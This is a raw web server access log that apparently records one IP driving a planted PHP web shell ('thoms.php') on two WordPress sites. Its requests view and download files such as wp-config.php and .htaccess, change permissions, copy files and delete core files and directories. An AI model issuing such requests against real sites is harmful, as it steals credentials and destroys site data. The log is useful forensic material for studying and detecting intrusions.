45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?dl=wp-load.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?p=beauty-dental.com.tw&settings=1 HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?chmod=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:14 -0400] "GET /thoms.php?del=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 17382 "http://163.245.207.76:443/thoms.php?del=mah.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=beauty-dental.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-load.php HTTP/1.1" 200 13660 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?dl=license.txt&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13027 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-signup.php HTTP/1.1" 200 22521 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-trackback.php&p=beauty-dental.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-trackback.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=wp-settings.php HTTP/1.1" 200 19473 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?del=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /beauty-dental.com.tw/upgrade/ HTTP/1.1" 200 6736 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?chmod=cgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?del=cgi-bin&p=beauty-dental.com.tw HTTP/1.1" 200 17371 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /beauty-dental.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 200 14117 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Fwp-blog-header.php&p=beauty-dental.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Fwp-blog-header.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?copy=beauty-dental.com.tw%2Ferror_log&p=beauty-dental.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw%2Ferror_log&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=.htaccess HTTP/1.1" 200 12731 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?p=beauty-dental.com.tw&view=xmlrpc.php HTTP/1.1" 200 13375 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?chmod=.well-known&p=beauty-dental.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:15 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 200 59434 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 200 13445 "http://163.245.207.76:443/thoms.php?p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?chmod=wp-includes&p=beauty-dental.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?del=index.php&p=beauty-dental.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?del=index.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?copy=bogroup.com.tw%2F.well-known&p= HTTP/1.1" 200 11767 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?chmod=catalog-build&p=bogroup.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=catalog-build&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 13612 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?del=wp-includes&p=bogroup.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /bogroup.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /bogroup.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-links-opml.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 17373 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /thoms.php?chmod=cgi-bin&p=bogroup.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /bogroup.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:16 -0400] "GET /bogroup.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /thoms.php?chmod=license.txt&p=bogroup.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-activate.php HTTP/1.1" 200 14814 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 15865 "https://163.245.207.76/bogroup.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /thoms.php?dl=wp-config.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /thoms.php?del=wp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /bogroup.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /bogroup.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /bogroup.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-content&p= HTTP/1.1" 200 11814 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:17 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-load.php HTTP/1.1" 200 13667 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?del=wp-settings.php&p=bogroup.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bogroup.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?del=log-seed&p=bogroup.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?del=log-seed&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 13766 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?chmod=upgrade&p=bogroup.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /bogroup.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?del=wp-content&p=bogroup.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Ferror_log&p=bogroup.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Ferror_log&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /bogroup.com.tw/cgi-bin/ HTTP/1.1" 200 690 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Fwp-cron.php&p=bogroup.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Fwp-cron.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?del=wp-signup.php&p=bogroup.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?del=wp-signup.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?chmod=wp-includes&p=bogroup.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?dl=.htaccess&p=bogroup.com.tw HTTP/1.1" 200 17365 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /thoms.php?p=bogroup.com.tw&view=locoy.php HTTP/1.1" 200 12953 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:18 -0400] "GET /bogroup.com.tw/wp-blog-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /bogroup.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bogroup.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /bogroup.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bogroup.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?copy=bogroup.com.tw%2Freadme.html&p=bogroup.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bogroup.com.tw%2Freadme.html&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?chmod=wp-config.php&p=bogroup.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-mail.php HTTP/1.1" 200 15356 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /bogroup.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /bogroup.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?del=.well-known&p=bogroup.com.tw HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?del=cgi-bin&p=bogroup.com.tw HTTP/1.1" 200 17284 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?del=locoy.php&p=bogroup.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 15865 "https://163.245.207.76:443/bogroup.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:19 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12040 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bogroup.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /thoms.php?p=bogroup.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13093 "http://163.245.207.76:443/thoms.php?p=bogroup.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:20 -0400] "GET /bogroup.com.tw/upgrade/ HTTP/1.1" 200 6530 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
